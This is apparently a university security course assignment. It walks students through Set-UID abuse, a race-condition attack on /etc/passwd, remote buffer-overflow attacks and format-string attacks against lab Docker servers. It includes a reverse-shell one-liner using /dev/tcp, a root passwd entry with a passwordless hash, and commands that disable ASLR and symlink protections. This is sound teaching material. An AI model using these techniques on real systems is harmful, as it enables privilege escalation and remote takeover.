CS 489/698 Assignment 1

TA: Liyi Zhang (l392zhang@uwaterloo.ca)
Office hour: June 1 and June 8, 1:00pm - 2:00pm, DC 3332

Due date: June 9, 2023

Environment Preparation

Before doing this assignment, you need to set up the test environment. Please follow the instructions below:

1. Install the free VirtualBox (Version 7.0.8) software.
2. Download the provided virtual machine file for this assignment.
3. Network Configuration:
   - Open the VirtualBox software. In the menu bar, choose `"File" -> "Tools" -> "Natwork Manager"`.
   - Select the `"NAT Networks"` tab.
   - Click on the `"Create"` button to create a new network named `"NatNetwork"` with `"IPv4 Prefix"` set to `10.0.2.0/24`.
4. Double-click on the downloaded virtual machine `.ova` file, which will open in VirtualBox. Complete importing appliance without changing the default settings.
5. Start the provided virtual machine in VirtualBox.
6. After the virtual machine boots, you will see a login screen for the user `seed`, enter `dees` as the password.
7. On the desktop, you will find four folders corresponding to the four parts of this assignment respectively.

Part 1: Set-UID Program Lab

Set-UID is an important security mechanism in Unix operating systems. When a Set-UID program runs, it assumes the owner's privileges. For example, if the program's owner is root, when anyone runs this program, the program gains the root's privileges during its execution. Set-UID allows us to do many interesting things, but since it escalates the user's privilege, it is quite risky. Although the behaviors of Set-UID programs are decided by their program logic, not by users, users can indeed affect the behaviors via environment variables.

To make a normal program Set-UID program, you need to change its ownership to root, and set its `setuid` bit. You should not reverse the order of these two operations because the `chown` command will clear the `setuid` bit.

```
// Asssume the program's name is foo
$ sudo chown root foo
$ sudo chmod 4755 foo
```

1.1 [10 pts] Task 1: Invoking External Programs Using system()

The function `system()` can be used to run new programs in C. This function is used to execute a command, but unlike `execve()`, which directly executes a command, `system()` actually executes `"/bin/sh -c command"`, i.e., it executes `/bin/sh`, and asks the shell to execute the command, which is quite dangerous if used in a privileged program, such as Set-UID programs. Let us look at the following scenario.

Bob works for an auditing agency, and he needs to investigate a company for a suspected fraud. For the investigation purpose, Bob needs to be able to read all the files in the company's Unix system; on the other hand, to protect the integrity of the system, Bob should not be able to modify any file. To achieve this goal, Vince, the superuser of the system, wrote a special set-root-uid program, and then gave the executable permission to Bob. This program requires Bob to type a file name at the command line, and then it will run `/bin/cat` to display the specified file. Since the program is running as a root, it can display any file Bob specifies. However, since the program has no write operations, Vince is very sure that Bob cannot use this special program to modify any file.

The program mentioned above is called `catall.c` in the `part-1` folder, and the program will use `system()` to invoke the command. Compile the program, make it a root-owned Set-UID program, and run the program as a normal user. The program takes one argument from the command line. In this task, you are required to construct this argument, and write a complete command, including your argument, into the `catall.sh` file in the same directory. Before running the program, you need to (as a superuser) create the `/etc/important` file, which should be owned by root.

```
// compile the program and make it Set-UID program
$ gcc catall.c catall
$ sudo chown root catall
$ sudo chmod 4755 catall

// create the target file
sudo touch /etc/important

// run the program
$ ./catall "your argument" # you should write this command into catall.sh
```

If you were Bob, can you compromise the integrity of the system? For example, can you remove a file that is not writable to you? Your goal is to delete the `/etc/important` as a normal user. Please note that you are NOT allowed to modify the `catall.c` file.

1.2 [10 pts] Task 2: Capability Leaking

To follow the Principle of Least Privilege, Set-UID programs often permanently relinquish their root privileges if such privileges are not needed anymore. Moreover, sometimes, the program needs to hand over its control to the user; in this case, root privileges must be revoked. The `setuid()` system call can be used to revoke the privileges. According to the manual, "`setuid()` sets the effective user ID of the calling process. If the effective UID of the caller is root, the real UID and saved set-user-ID are also set". Therefore, if a Set-UID program with effective UID 0 calls `setuid(n)`, the process will become a normal process, with all its UIDs being set to `n`.

When revoking the privilege, one of the common mistakes is capability leaking. The process may have gained some privileged capabilities when it was still privileged; when the privilege is downgraded, if the program does not clean up those capabilities, they may still be accessible by the non-privileged process. In other words, although the effective user ID of the process becomes non-privileged, the process is still privileged because it possesses privileged capabilities.

Compile the vulnerable program `cap_leak.c` in the `part-1` folder, change its owner to root, and make it a Set-UID program, and run the program as a normal user. The program takes one argument from the command line. In this task, you are required to construct this argument, and write a complete command, including your argument, into the `cap_leak.sh` file in the same directory. Before running the program, you need to (as a superuser) create the `/etc/zzz` file, which should be owned by root with permission 0644, otherwise the program will complain that it cannot open the file, and will exit immediately.

```
// compile the program and make it Set-UID program
$ gcc cap_leak.c cap_leak
$ sudo chown root cap_leak
$ sudo chmod 4755 cap_leak

// create the target file
sudo touch /etc/zzz

// run the program
$ ./cap_leak "your argument" # you should write this command into cap_leak.sh
```

Can you exploit the capability leaking vulnerability in this program? The goal is to write a string `"secret message"` to the `/etc/zzz` file as a normal user. Please note that you are NOT allowed to modify the `cap_leak.c` file.

Part 2: Race-Condition Vulnerability Lab

2.1 Turning Off Countermeasures

Ubuntu has a built-in protection against race condition attacks. This scheme works by restricting who can follow a symlink. According to the documentation, "symlinks in world-writable sticky directories (e.g. `/tmp`) cannot be followed if the follower and directory owner do not match the symlink owner." Ubuntu 20.04 introduces another security mechanism that prevents the root from writing to the files in `/tmp` that are owned by others. In this lab, we need to disable these protections. You can achieve that using the following commands:

```
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
```

2.2 A Vulnerable Program

We provide a vulnerable program called `vulp.c` in the `part-2` directory. It contains a race-condition vulnerability. The program appends a string of user input to the end of a temporary file `/tmp/XYZ`. If the code runs with the root privilege, i.e., its effective use ID is zero, it can overwrite any file. To prevent itself from accidentally overwriting other people's file, the program first checks whether the real user ID has the access permission to the file `/tmp/XYZ`. If the real user ID indeed has the right, the program opens the file and append the user input to the file.

Set up the Set-UID program. You need to first compile the program, and turn its binary into a Set-UID program that is owned by the root. The following commands achieve this goal:

```
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
```

2.3 Choosing Our Target

We would like to exploit the race condition vulnerability in the program. We choose to target the password file `/etc/passwd`, which is not writable by normal users. By exploiting the vulnerability, we would like to add a record to the password file, with a goal of creating a new user account that has the root privilege. Inside the password file, each user has an entry, which consists of seven fields separated by colons (:). The entry for the root user is listed below.

```
root:x:0:0:root:/root:/bin/bash
```

For the root user, the third field (the user ID field) has a value zero. Namely, when the root user logs in, its process's user ID is set to zero, giving the process the root privilege. Basically, the power of the root account does not come from its name, but instead from the user ID field. If we want to create an account with the root privilege, we just need to put a zero in this field.

Each entry also contains a password field, which is the second field. In the example above, the field is set to `"x"`, indicating that the password is stored in another file called `/etc/shadow` (the shadow file). If we follow this example, we have to use the race condition vulnerability to modify both password and shadow files, which is not very hard to do. However, there is a simpler solution. Instead of putting `"x"` in the password file, we can simply put the password there, so the operating system will not look for the password from the shadow file.

The password field does not hold the actual password; it holds the one-way hash value of the password. To get such a value for a given password, we can add a new user in our own system using the `adduser` command, and then get the one-way hash value of our password from the shadow file. Or we can simply copy the value from the seed user's entry, because we know its password is `dees`. Interestingly, there is a magic value used in Ubuntu live CD for a password-less account, and the magic value is `U6aMy0wojraho` (the 6th character is zero, not letter `O`). If we put this value in the password field of a user entry, we only need to hit the return key when prompted for a password.

To verify whether the magic password works or not, you can manually (as a superuser) add the following entry to the end of the `/etc/passwd` file.

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

After verifying this, please remove this entry from the password file. In the following task, you need to achieve this goal as a normal user. Clearly, you are not allowed to do that directly to the password file, but you can exploit a race condition in a privileged program to achieve the same goal.

2.4 [10 pts] Task 3: Launching the Race Condition Attack

The goal of this task is to exploit the race condition vulnerability in the vulnerable Set-UID program listed earlier. The ultimate goal is to gain the root privilege. The most critical step of the attack, making `/tmp/XYZ` point to the password file, must occur within the window between check and use; namely between the `access` and `fopen` calls in the vulnerable program.

The typical strategy in race condition attacks is to run the attack program in parallel to the target program, hoping to be able to do the critical step within that time window. Unfortunately, perfect timing is very hard to achieve, so the success of attack is only probabilistic. The probability of a successful attack might be quite low if the window is small, but we can run the attack many many times. We just need to hit the race condition window once.

Running the vulnerable program and monitoring results. Since we need to run the vulnerable program for many times, we provide a shell script called `target_process.sh` to automate this process.

It may take a while before our attack can successfully modify the password file, so we need a way to automatically detect whether the attack is successful or not. There are many ways to do that; an easy way is to monitor the timestamp of the file. The shell script runs the `"ls -l"` command, which outputs several piece of information about a file, including the last modified time. By comparing the outputs of the command with the ones produced previously, we can tell whether the file has been modified or not.

The shell script runs the vulnerable program (`vulp`) in a loop, with the input given by the `echo` command (via a pipe). You need to decide what should be the actual input and modify the argument in the `echo` command. If the attack is successful, i.e., the passwd is modified, the shell script will stop. You do need to be a little bit patient. Normally, you should be able to succeed within 5 minutes.

Writing the attack program. In this task, you are required to write your attack program in C language. You can use `symlink()` in C to create symbolic links. Since Linux does not allow one to create a link if the link already exists, we need to delete the old link first. The following C code snippet shows how to remove a link and then make `/tmp/XYZ` point to `/etc/passwd`. Write your attack code in `rc_attack.c`. Please note that you are NOT allowed to modify the `vulp.c` file.

```
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
```

Verifying success. When your script terminates, test the success of your exploit by logging in as the root user you just added to the `passwd` file and verifying root privileges by using `whoami` or `id` commands.

A Note. If after 10 minutes, your attack is still not successful, you can stop the attack, and check the ownership of the `/tmp/XYZ` file. If the owner of this file becomes root, manually (as a superuser) delete this file, and try your attack again, until your attack becomes successful.

Part 3: Buffer Overflow Attack Lab

3.1 Turning off Countermeasures

Modern operating systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of the buffer overflow attack. To simplify the tasks in this lab, we turn off the address randomization using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

3.2 The Vulnerable Program

The vulnerable program used in this lab is named `stack.c`, which is in the `part-3/server-code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege.

We have compiled the program into both `32-bit` and `64-bit` binaries for you, using different buffer sizes to adjust the difficulty level of the attacks. Each binary will run on its own dedicated server with the root privilege within a Docker container, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit the buffer overflow vulnerability, they can get a root shell on the server.

3.3 Container Setup and Commands

The files related to the Docker containers are included in the `part-3` folder, and we have already built the containers for you. You can simply type the following commands under the `part-3` to start up and shut down the containers and servers:

```
// Start the container
$ dcup

// Shut down the container
$ dcdown
```

3.4 The Server Program

In the `part-3/server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port `9090`. When it receives a TCP connection, it invokes the `stack` program, and sets the TCP connection as the standard input of the stack program. This way, when `stack` reads data from stdin, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side. It is not mandatory for you to read the source code of `server.c`.

When we start the containers using the command listed in the section 3.3, three containers will be running, representing three levels of difficulties. The three servers will be running on `10.9.0.5`, `10.9.0.6`, and `10.9.0.7` respectively (the port number is `9090`). Let's use the server on `10.9.0.5`

as an example. Before doing a real attack, we can first send a benign message to the server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
// On the client side (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffdb18
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to `517` bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct your payload to exploit this vulnerability. In this assignment, we ask you to save your payload in a file called `badfile`, so you can send the payload to the server using the following command:

```
$ cat badfile | nc 10.9.0.5 9090
```

If the server program returns, it will print out `"Returned Properly"`. If this message is not printed out, the `stack` program has probably crashed. The server will still keep running, taking new connections, which means that you do not have to restart the server.

The server prints out two pieces of information essential for buffer-overflow attacks as hints to you: the value of the frame pointer and the address of the buffer. The frame point register called `ebp` for the x86 architecture and `rbp` for the x64 architecture. You can use these two pieces of information to construct your payload.

Added randomness. We have added a little bit of randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. The values only change when the container restarts, so as long as you keep the container running with the address randomization countermeasure turned off, you will see the same numbers (the numbers seen by different students are still different). This randomness is different from the address-randomization countermeasure. Its sole purpose is to make your work a little bit different.

3.5 Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. In this lab, we have already hardcoded both 32-bit and 64-bit binary versions of the shellcode in the skeleton exploit programs.

Reverse shell. We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run `/bin/sh`, we won't be able to control the shell program. Reverse shell is a typical technique to solve this problem.

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following example, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
// On the client side (i.e., the attacker machine)
$ nc -nv -l 9090
Listening on 0.0.0.0 9090
```

You should open a new terminal window to run the above `nc` command. The command will block, waiting for a connection. The server machine (i.e., 10.0.2.5) uses the following command to start a `bash` shell, with its input coming from a TCP connection, and output going to the same TCP connection.

```
/bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1
```

It is not mandatory for you to understand every component in the above command. The shellcode provided for you has already contain this command. Thus, once your attack is successful and the shellcode is executed on the server machine, this bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. You can then verify root privileges by using `whoami` or `id` commands.

3.6 [10 pts] Task 4: Level-1 Attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use `badfile` as the file name in this assignment). We will use a Python program to do that. We provide a skeleton program called `bof1.py`, which is in the `part-3/attack-code` directory. This program takes two arguments from the command line, which are the address of the buffer and the value of the frame pointer, and write the payload into a file named `badfile`. The code is incomplete, and you need to replace some of the essential values in the code.

After you finish the above program, run it. This will generate the contents for `badfile`. Then feed it to the vulnerable server. Our first target runs on `10.9.0.5` (the port number is `9090`), and the vulnerable program `stack` is a `32-bit` program. If your exploit is implemented correctly, the command you put inside your shellcode will be executed, and you will get a root shell on the target server (using the reverse shell technique).

3.7 [10 pts] Task 5: Level-2 Attack

In this task, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. Our target server is `10.9.0.6` (the port number is still `9090`, and the vulnerable program is still a `32-bit` program).

The server only gives out one hint, the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack. To simplify the task, we do assume that the the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for `32-bit` programs).

```
Range of the buffer size (in bytes): [100, 300]
```

Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a root shell on the target server (using the reverse shell technique). The skeleton program `bof2.py` is provided in the `part-3/attack-code` directory. In this task, the skeleton program only takes the value of the frame pointer as the argument.

Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks.

3.8 [10 pts] Task 6: Level-3 Attack

In the previous tasks, our target servers are `32-bit` programs. In this task, we switch to a `64-bit` server program. Our new target is `10.9.0.7`, which runs the `64-bit` version of the `stack` program.

Your job is to construct your payload to exploit the buffer overflow vulnerability of the server. You ultimate goal is to get a root shell on the target server (using the reverse shell technique). The skeleton

program `bof3.py` is provided in the `part-3/attack-code` directory, and it takes the address of the buffer and the value of the frame pointer as the arguments.

Challenges. Compared to buffer-overflow attacks on `32-bit` machines, attacks on `64-bit` machines is more difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only the address from `0x00` through `0x00007FFFFFFFFFFF` is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.

In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied into the stack via `strcpy()`. We know that the `strcpy()` function will stop copying when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack.

A note. In the above three tasks, you cannot assume that the address of the buffer and the value of the frame pointer remain constant. These values change each time the container restarts. Therefore, you are not allowed to hardcode any addresses in your program. Instead, you should construct your payload using the arguments provided through the command line.

Part 4: Format-String Vulnerability Lab

4.1 Turning off Countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult. You can do it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

4.2 The Vulnerable Program

The vulnerable program used in this lab is called `format.c`, which can be found in the `part-4/server-code` folder. This program has a format-string vulnerability, and your job is to exploit this vulnerability.

We have compiled the program into both `32-bit` and `64-bit` binaries for you. Each binary will run on its own dedicated server with the root privilege within a Docker container, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit the format-string vulnerability, they can cause damages.

4.3 Container Setup and Commands

The files related to the Docker containers are included in the `part-4` folder, and we have already built the containers for you. You can simply type the following commands under the `part-4` directory to start up and shut down the containers and servers:

```
// Start the container
$ dcup

// Shut down the container
$ dcdown
```

4.4 The Server Program

In the `part-4/server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port `9090`. When it receives a TCP connection, it invokes the `format` program, and sets the TCP connection as the standard input of the `format` program. This way, when

format reads data from stdin, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side. It is not mandatory for you to read the source code of server.c.

When we start the containers using the command listed in the section 4.3, two containers will be running on 10.9.0.5 and 10.9.0.6 respectively (the port number is 9090). Let's use the server on 10.9.0.5 as an example. Before doing a real attack, we can first send a benign message to the server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
// On the client side (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Printouts on the container's console
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | Input buffer (address): 0xffffd2d0
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Input size: 6
server-10.9.0.5 | Frame Pointer inside myprintf() = 0xffffd1f8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | Returned properly
server-10.9.0.5 | The target variable's value (after): 0x11223344
```

The server will accept up to 1500 bytes of the data from you. Your main job in this lab is to construct different payloads to exploit the format-string vulnerability in the server, so you can achieve the goal specified in each task. In this assignment, we ask you to save your payload in a file called badfile, so you can send the payload to the server using the following command:

```
$ cat badfile | nc 10.9.0.5 9090
```

If the server program returns, it will print out "Returned Properly". If this message is not printed out, the format program has probably crashed. However, the server program will not crash; the crashed format program runs in a child process spawned by the server program.

The server prints out two pieces of information essential for format-string attacks as hints to you: the value of the frame pointer and the address of the input buffer. You can use these information to construct your payload.

The server also prints out some information related to the target variable of the vulnerable program: the address of the target variable and its values before and after the call to the printf() function. You can use these information to construct your payload and verify if your attack is successful or not in the task 7.

Added randomness. We have added a little bit of randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. The values only change when the container restarts, so as long as you keep the container running with the address randomization countermeasure turned off, you will see the same numbers (the numbers seen by different students are still different). This randomness is different from the address-randomization countermeasure. Its sole purpose is to make your work a little bit different.

4.5 [10 pts] Task 7: Modifying the Server Program's Memory

For this task, we will use the server running on 10.9.0.5, which runs a 32-bit program with a format-string vulnerability. We provide a skeleton program called fmt1.py in the part-4/attack-code directory. This program takes one argument from the command line, which is the address of the target variable, and write the payload into a file named badfile.

The objective of this task is to modify the value of the target variable that is defined in the server program. The original value of target is 0x11223344. Assume that this variable holds an important value, which can affect the control flow of the program. If remote attackers can change its value, they can change the behavior of this program.

In this task, you need to change the content of the target variable to a specific value `0x4000`. Your task is considered as a success only if the variable's value becomes `0x4000`. You can check the modified value of the `target` variable based on the information printed out by the server.

4.6 [10 pts] Task 8: Inject Malicious Code into the Server Program

In this tasks, our target servers is `10.9.0.6`, which runs the `64-bit` version of the format program. You need to inject a piece of malicious code, in its binary format, into the server's memory, and then use the format string vulnerability to modify the return address field of a function, so when the function returns, it jumps to the injected code. We have prepared the same shellcode as the one used in the Buffer Overflow part inside the skeleton program `fmt2.py` in the `part-4/attack-code` directory. The skeleton program takes two arguments from the command line, which are the address of the input buffer and the value of the frame pointer. You task is to modify the skeleton program, and get a root shell on the target server (using the reverse shell technique).

A useful technique: moving the argument pointer freely. In a format string, we can use `%x` to move the argument pointer `va_list` to the next optional arguments. We can also directly move the pointer to the k-th optional argument. This is done using the format string's parameter field (in the form of `k$`). The following code example uses `"%3$.20x"` to print out the value of the 3rd optional argument (number 3), and then uses `"%6$n"` to write a value to the 6th optional argument (the variable var, its value will become 20). Finally, using `"%2$.10x"`, it moves the pointer back to the 2nd optional argument (number 2), and print it out. You can see, using this method, we can move the pointer freely back and forth. This technique can be quite useful to simplify the construction of the format string in this task.

```
#include <stdio.h>
int main()
{
int var = 1000;
printf("%3$.20x%6$n%2$.10x\n", 1, 2, 3, 4, 5, &var);
printf("The value in var: %d\n",var);
return 0;
}
----- Output ------
seed@ubuntu:$ a.out
00000000000000000030000000002
The value in var: 20
```

Challenges caused by 64-bit Address. A challenge caused by the x64 architecture is the zeros in the address. Although the x64 architecture supports `64-bit` address space, only the address from `0x00` through `0x00007FFFFFFFFFFF` is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem. The problem is different from that in the buffer overflow attack, in which, zeros will terminate the memory copy if `strpcy()` is used. Here, we do not have memory copy in the program, so we can have zeros in our input, but where to put them is critical. For example, if you put an address in the middle of your format string, when `printf()` parses the format string, it will stop the parsing when it sees a zero. Basically, anything after the first zero in a format string will not be considered as part of the format string.

A note. In the above two tasks, you cannot assume that the address of the `target` variable, the address of the input buffer, and the value of the frame pointer remain constant. These values change each time the container restarts. Therefore, you are not allowed to hardcode any addresses in your program. Instead, you should construct your payload using the arguments provided through the command line.

Deliverables

You are required to hand in:

- For part 1 there are two deliverables: **catall.sh** and **cap_leak.sh**.
- For part 2 there are two deliverables: **target_process.sh** and **rc_attack.c**
- For part 3 there are three deliverables: **bof1.py**, **bof2.py**, and **bof3.py**
- For part 4 there are two deliverables: **fmt1.py** and **fmt2.py**

Submit your files in a single compressed file(`.zip`, `.tar` etc.) using Assignment 1 drop box in LEARN.

Write-up. We use an auto-grader to check the code submitted for this assignment. While efficient, the auto-grader can only provide a binary pass/fail result, which rules out the possibility of awarding partial marks for each task. As a result, we also solicit a write-up submission for the entire assignment. The write-up can include information about any of the tasks you attempted as long as you believe the information is relevant for the grading. Typical things to be put in the write-up include:

- How the code you submitted is expected to work
- How you manage to get certain hardcoded information in the code
- Explanation on critical steps / algorithms in the code
- Any special situations the TAs need to be aware when running the code
- If you do not complete the full task, how far you have explored

On the other hand, if you are confident that all your code will work out of the box and can tolerate a zero score for any tasks on which the auto-grader fails to execute your code, you do not need to submit a write-up (or you can omit certain tasks in the write-up).

You only need to submit one write-up for the entire assignment so group your individual write-ups for each task into a single file. The write-up submission can be in either `.txt` (pure text file), `.md` (Markdown file), or `.pdf` (PDF file) format, whichever is more convenient for you.